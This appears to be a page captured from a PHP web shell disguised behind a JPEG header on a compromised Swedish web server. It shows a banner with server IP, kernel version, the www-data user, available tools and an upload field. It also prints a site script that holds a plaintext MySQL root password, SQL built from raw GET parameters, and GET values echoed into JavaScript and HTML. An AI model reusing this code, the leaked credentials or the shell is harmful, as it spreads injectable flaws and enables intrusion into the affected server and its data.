????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.217 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.notes-online.se/symbols/notes/sakerhet/ |
Upload File : |
<?php
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("notes");
$sql = "select * from tblSymbolsSavedData where drawingpath ='".$_GET['drawingpath']."' and number = '".$_GET['number']."'";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$Comment = $row['comment'];
$Roomfunction = $row['roomfunction'];
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Namnlöst dokument</title>
<script>
<?php
if($_GET['message'] != ""){
echo('alert("'.$_GET['message'].'");');
}
?>
function call(){
var sel = document.getElementById('select');
var index;
for(var i=0;i<sel.length;i++) { if(sel[i].value=="<?php echo($Roomfunction);?>") { index = i; } }
sel.options.selectedIndex = index;
}
</script>
<style type="text/css">
.text {
font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif;
font-size: 26px;
text-align: left;
}
.small {
font-size: 14px;
color: #666;
}
.text2 {
font-size: 50px;
}
</style>
</head>
<body class="text" onload="call();">
<form action="saveData.php" method="post">
<table width="700" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="left"><strong class="text2"><?php echo($_GET['symbol']);?> form:</strong>
<br />
<input name="username" type="hidden" class="text" id="username" value="<?php echo($_GET['username']);?>" size="20" readonly="readonly" />
<input name="number" type="hidden" class="text" id="number" value="<?php echo($_GET['number']);?>" size="20" readonly="readonly" align="left"/>
<input name="drawingpath" type="hidden" class="text" id="drawing" value="<?php echo($_GET['drawingpath']);?>" size="20" readonly="readonly" align="left"/>
<input name="position" type="hidden" class="text" id="position" value="{<?php echo($_GET['x_position']);?>,<?php echo($_GET['y_position']);?>}" size="20" readonly="readonly" align="left"/>
<input name="symbolId" type="hidden" class="text" id="symbolId" value="<?php echo($_GET['symbolId']);?>" size="20" readonly="readonly" align="left"/>
<input name="symbol" type="hidden" class="text" id="symbol" value="<?php echo($_GET['symbol']);?>" size="20" readonly="readonly" align="left"/>
<br />
<br />
<table width="700" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="211" align="left"> </td>
<td width="489" align="right" > </td>
</tr>
<tr>
<td align="left">Comment:</td>
<td align="right"><label for="textfield3"></label>
<input name="comment" type="text" class="text" id="comment" value="<?php echo($Comment);?>" size="28" /></td>
</tr>
<tr>
<td align="left"> </td>
<td align="right"><br /> <input name="button" type="submit" class="text" id="button" value="Save" /></td>
</tr>
</table></td>
</tr>
</table>
</form>
<p> </p>
<p> </p>
<p> </p>
</body>
</html>